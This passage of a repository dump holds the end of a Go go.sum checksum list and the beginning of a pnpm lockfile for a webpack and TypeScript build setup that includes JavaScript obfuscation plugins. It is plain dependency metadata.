h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU= 34 | github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 35 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= 36 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= 37 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 38 | github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= 39 | github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= 40 | github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= 41 | github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= 42 | github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= 43 | github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= 44 | github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= 45 | github.com/klauspost/cpuid/v2 v2.2.7 h1:ZWSB3igEs+d0qvnxR/ZBzXVmxkgt8DdzP6m9pfuVLDM= 46 | github.com/klauspost/cpuid/v2 v2.2.7/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= 47 | github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M= 48 | github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= 49 | github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= 50 | github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= 51 | github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY= 52 | github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0= 53 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= 54 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= 55 | github.com/mattn/go-runewidth v0.0.15 h1:UNAjwbU9l54TA3KzvqLGxwWjHmMgBUVhBiTjelZgg3U= 56 | github.com/mattn/go-runewidth v0.0.15/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= 57 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 58 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= 59 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 60 | github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= 61 | github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= 62 | github.com/pelletier/go-toml/v2 v2.2.2 h1:aYUidT7k73Pcl9nb2gScu7NSrKCSHIDE89b3+6Wq+LM= 63 | github.com/pelletier/go-toml/v2 v2.2.2/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs= 64 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 65 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 66 | github.com/rivo/tview v0.0.0-20240921122403-a64fc48d7654 h1:oa+fljZiaJUVyiT7WgIM3OhirtwBm0LJA97LvWUlBu8= 67 | github.com/rivo/tview v0.0.0-20240921122403-a64fc48d7654/go.mod h1:02iFIz7K/A9jGCvrizLPvoqr4cEIx7q54RH5Qudkrss= 68 | github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= 69 | github.com/rivo/uniseg v0.4.3/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= 70 | github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= 71 | github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= 72 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 73 | github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= 74 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= 75 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 76 | github.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM= 77 | github.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y= 78 | github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= 79 | github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= 80 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 81 | github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 82 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 83 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 84 | github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= 85 | github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= 86 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 87 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 88 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 89 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 90 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= 91 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 92 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= 93 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 94 | github.com/t-tomalak/logrus-easy-formatter v0.0.0-20190827215021-c074f06c5816 h1:J6v8awz+me+xeb/cUTotKgceAYouhIB3pjzgRd6IlGk= 95 | github.com/t-tomalak/logrus-easy-formatter v0.0.0-20190827215021-c074f06c5816/go.mod h1:tzym/CEb5jnFI+Q0k4Qq3+LvRF4gO3E2pxS8fHP8jcA= 96 | github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI= 97 | github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= 98 | github.com/ugorji/go/codec v1.2.12 h1:9LC83zGrHhuUA9l16C9AHXAqEV/2wBQ4nkvumAE65EE= 99 | github.com/ugorji/go/codec v1.2.12/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg= 100 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= 101 | golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= 102 | golang.org/x/arch v0.8.0 h1:3wRIsP3pM4yUptoR96otTUOXI367OS0+c9eeRi9doIc= 103 | golang.org/x/arch v0.8.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys= 104 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 105 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 106 | golang.org/x/crypto v0.23.0 h1:dIJU/v2J8Mdglj/8rJ6UUOM3Zc9zLZxVZwwxMooUSAI= 107 | golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= 108 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= 109 | golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= 110 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 111 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 112 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= 113 | golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= 114 | golang.org/x/net v0.25.0 h1:d/OCCoBEUq33pjydKrGQhw7IlUPI2Oylr+8qLx49kac= 115 | golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= 116 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 117 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 118 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 119 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 120 | golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 121 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 122 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 123 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 124 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 125 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 126 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 127 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 128 | golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 129 | golang.org/x/sys v0.20.0 h1:Od9JTbYCk261bKm4M/mw7AklTlFYIa0bIp9BgSm1S8Y= 130 | golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 131 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 132 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 133 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= 134 | golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= 135 | golang.org/x/term v0.20.0 h1:VnkxpohqXaOBYJtBmEppKUG6mXpi+4O6purfc2+sMhw= 136 | golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= 137 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 138 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 139 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 140 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= 141 | golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 142 | golang.org/x/text v0.15.0 h1:h1V/4gjBv8v9cjcR6+AR5+/cIYK5N/WAgiv4xlsEtAk= 143 | golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 144 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 145 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 146 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 147 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= 148 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 149 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4= 150 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 151 | google.golang.org/protobuf v1.34.1 h1:9ddQBjfCyZPOHPUiPxpYESBLc+T8P3E+Vo4IbKZgFWg= 152 | google.golang.org/protobuf v1.34.1/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= 153 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 154 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 155 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 156 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 157 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 158 | nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50= 159 | rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= 160 | -------------------------------------------------------------------------------- /pnpm-lock.yaml: -------------------------------------------------------------------------------- 1 | lockfileVersion: '9.0' 2 | 3 | settings: 4 | autoInstallPeers: true 5 | excludeLinksFromLockfile: false 6 | 7 | importers: 8 | 9 | .: 10 | devDependencies: 11 | javascript-obfuscator: 12 | specifier: ^4.1.1 13 | version: 4.1.1 14 | path: 15 | specifier: ^0.12.7 16 | version: 0.12.7 17 | terser-webpack-plugin: 18 | specifier: ^5.3.10 19 | version: 5.3.10(webpack@5.95.0(webpack-cli@5.1.4)) 20 | ts-loader: 21 | specifier: ^9.5.1 22 | version: 9.5.1(typescript@5.6.2)(webpack@5.95.0(webpack-cli@5.1.4)) 23 | typescript: 24 | specifier: ^5.6.2 25 | version: 5.6.2 26 | webpack: 27 | specifier: ^5.95.0 28 | version: 5.95.0(webpack-cli@5.1.4) 29 | webpack-cli: 30 | specifier: ^5.1.4 31 | version: 5.1.4(webpack@5.95.0) 32 | webpack-obfuscator: 33 | specifier: ^3.5.1 34 | version: 3.5.1(javascript-obfuscator@4.1.1)(webpack@5.95.0(webpack-cli@5.1.4)) 35 | 36 | packages: 37 | 38 | '@discoveryjs/json-ext@0.5.7': 39 | resolution: {integrity: sha512-dBVuXR082gk3jsFp7Rd/JI4kytwGHecnCoTtXFb7DB6CNHp4rg5k1bhg0nWdLGLnOV71lmDzGQaLMy8iPLY0pw==} 40 | engines: {node: '>=10.0.0'} 41 | 42 | '@javascript-obfuscator/escodegen@2.3.0': 43 | resolution: {integrity: sha512-QVXwMIKqYMl3KwtTirYIA6gOCiJ0ZDtptXqAv/8KWLG9uQU2fZqTVy7a/A5RvcoZhbDoFfveTxuGxJ5ibzQtkw==} 44 | engines: {node: '>=6.0'} 45 | 46 | '@javascript-obfuscator/estraverse@5.4.0': 47 | resolution: {integrity: sha512-CZFX7UZVN9VopGbjTx4UXaXsi9ewoM1buL0kY7j1ftYdSs7p2spv9opxFjHlQ/QGTgh4UqufYqJJ0WKLml7b6w==} 48 | engines: {node: '>=4.0'} 49 | 50 | '@jridgewell/gen-mapping@0.3.5': 51 | resolution: {integrity: sha512-IzL8ZoEDIBRWEzlCcRhOaCupYyN5gdIK+Q6fbFdPDg6HqX6jpkItn7DFIpW9LQzXG6Df9sA7+OKnq0qlz/GaQg==} 52 | engines: {node: '>=6.0.0'} 53 | 54 | '@jridgewell/resolve-uri@3.1.2': 55 | resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} 56 | engines: {node: '>=6.0.0'} 57 | 58 | '@jridgewell/set-array@1.2.1': 59 | resolution: {integrity: sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==} 60 | engines: {node: '>=6.0.0'} 61 | 62 | '@jridgewell/source-map@0.3.6': 63 | resolution: {integrity: sha512-1ZJTZebgqllO79ue2bm3rIGud/bOe0pP5BjSRCRxxYkEZS8STV7zN84UBbiYu7jy+eCKSnVIUgoWWE/tt+shMQ==} 64 | 65 | '@jridgewell/sourcemap-codec@1.5.0': 66 | resolution: {integrity: sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==} 67 | 68 | '@jridgewell/trace-mapping@0.3.25': 69 | resolution: {integrity: sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==} 70 | 71 | '@types/estree@1.0.6': 72 | resolution: {integrity: sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==} 73 | 74 | '@types/json-schema@7.0.15': 75 | resolution: {integrity: sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==} 76 | 77 | '@types/minimatch@3.0.5': 78 | resolution: {integrity: sha512-Klz949h02Gz2uZCMGwDUSDS1YBlTdDDgbWHi+81l29tQALUtvz4rAYi5uoVhE5Lagoq6DeqAUlbrHvW/mXDgdQ==} 79 | 80 | '@types/node@22.7.2': 81 | resolution: {integrity: sha512-866lXSrpGpgyHBZUa2m9YNWqHDjjM0aBTJlNtYaGEw4rqY/dcD7deRVTbBBAJelfA7oaGDbNftXF/TL/A6RgoA==} 82 | 83 | '@types/validator@13.12.2': 84 | resolution: {integrity: sha512-6SlHBzUW8Jhf3liqrGGXyTJSIFe4nqlJ5A5KaMZ2l/vbM3Wh3KSybots/wfWVzNLK4D1NZluDlSQIbIEPx6oyA==} 85 | 86 | '@webassemblyjs/ast@1.12.1': 87 | resolution: {integrity: sha512-EKfMUOPRRUTy5UII4qJDGPpqfwjOmZ5jeGFwid9mnoqIFK+e0vqoi1qH56JpmZSzEL53jKnNzScdmftJyG5xWg==} 88 | 89 | '@webassemblyjs/floating-point-hex-parser@1.11.6': 90 | resolution: {integrity: sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw==} 91 | 92 | '@webassemblyjs/helper-api-error@1.11.6': 93 | resolution: {integrity: sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q==} 94 | 95 | '@webassemblyjs/helper-buffer@1.12.1': 96 | resolution: {integrity: sha512-nzJwQw99DNDKr9BVCOZcLuJJUlqkJh+kVzVl6Fmq/tI5ZtEyWT1KZMyOXltXLZJmDtvLCDgwsyrkohEtopTXCw==} 97 | 98 | '@webassemblyjs/helper-numbers@1.11.6': 99 | resolution: {integrity: sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==} 100 | 101 | '@webassemblyjs/helper-wasm-bytecode@1.11.6': 102 | resolution: {integrity: sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA==} 103 | 104 | '@webassemblyjs/helper-wasm-section@1.12.1': 105 | resolution: {integrity: sha512-Jif4vfB6FJlUlSbgEMHUyk1j234GTNG9dBJ4XJdOySoj518Xj0oGsNi59cUQF4RRMS9ouBUxDDdyBVfPTypa5g==} 106 | 107 | '@webassemblyjs/ieee754@1.11.6': 108 | resolution: {integrity: sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==} 109 | 110 | '@webassemblyjs/leb128@1.11.6': 111 | resolution: {integrity: sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==} 112 | 113 | '@webassemblyjs/utf8@1.11.6': 114 | resolution: {integrity: sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA==} 115 | 116 | '@webassemblyjs/wasm-edit@1.12.1': 117 | resolution: {integrity: sha512-1DuwbVvADvS5mGnXbE+c9NfA8QRcZ6iKquqjjmR10k6o+zzsRVesil54DKexiowcFCPdr/Q0qaMgB01+SQ1u6g==} 118 | 119 | '@webassemblyjs/wasm-gen@1.12.1': 120 | resolution: {integrity: sha512-TDq4Ojh9fcohAw6OIMXqiIcTq5KUXTGRkVxbSo1hQnSy6lAM5GSdfwWeSxpAo0YzgsgF182E/U0mDNhuA0tW7w==} 121 | 122 | '@webassemblyjs/wasm-opt@1.12.1': 123 | resolution: {integrity: sha512-Jg99j/2gG2iaz3hijw857AVYekZe2SAskcqlWIZXjji5WStnOpVoat3gQfT/Q5tb2djnCjBtMocY/Su1GfxPBg==} 124 | 125 | '@webassemblyjs/wasm-parser@1.12.1': 126 | resolution: {integrity: sha512-xikIi7c2FHXysxXe3COrVUPSheuBtpcfhbpFj4gmu7KRLYOzANztwUU0IbsqvMqzuNK2+glRGWCEqZo1WCLyAQ==} 127 | 128 | '@webassemblyjs/wast-printer@1.12.1': 129 | resolution: {integrity: sha512-+X4WAlOisVWQMikjbcvY2e0rwPsKQ9F688lksZhBcPycBBuii3O7m8FACbDMWDojpAqvjIncrG8J0XHKyQfVeA==} 130 | 131 | '@webpack-cli/configtest@2.1.1': 132 | resolution: {integrity: sha512-wy0mglZpDSiSS0XHrVR+BAdId2+yxPSoJW8fsna3ZpYSlufjvxnP4YbKTCBZnNIcGN4r6ZPXV55X4mYExOfLmw==} 133 | engines: {node: '>=14.15.0'} 134 | peerDependencies: 135 | webpack: 5.x.x 136 | webpack-cli: 5.x.x 137 | 138 | '@webpack-cli/info@2.0.2': 139 | resolution: {integrity: sha512-zLHQdI/Qs1UyT5UBdWNqsARasIA+AaF8t+4u2aS2nEpBQh2mWIVb8qAklq0eUENnC5mOItrIB4LiS9xMtph18A==} 140 | engines: {node: '>=14.15.0'} 141 | peerDependencies: 142 | webpack: 5.x.x 143 | webpack-cli: 5.x.x 144 | 145 | '@webpack-cli/serve@2.0.5': 146 | resolution: {integrity: sha512-lqaoKnRYBdo1UgDX8uF24AfGMifWK19TxPmM5FHc2vAGxrJ/qtyUyFBWoY1tISZdelsQ5fBcOusifo5o5wSJxQ==} 147 | engines: {node: '>=14.15.0'} 148 | peerDependencies: 149 | webpack: 5.x.x 150 | webpack-cli: 5.x.x 151 | webpack-dev-server: '*' 152 | peerDependenciesMeta: 153 | webpack-dev-server: 154 | optional: true 155 | 156 | '@xtuc/ieee754@1.2.0': 157 | resolution: {integrity: sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==} 158 | 159 | '@xtuc/long@4.2.2': 160 | resolution: {integrity: sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==} 161 | 162 | acorn-import-attributes@1.9.5: 163 | resolution: {integrity: sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ==} 164 | peerDependencies: 165 | acorn: ^8 166 | 167 | acorn@8.12.1: 168 | resolution: {integrity: sha512-tcpGyI9zbizT9JbV6oYE477V6mTlXvvi0T0G3SNIYE2apm/G5huBa1+K89VGeovbg+jycCrfhl3ADxErOuO6Jg==} 169 | engines: {node: '>=0.4.0'} 170 | hasBin: true 171 | 172 | 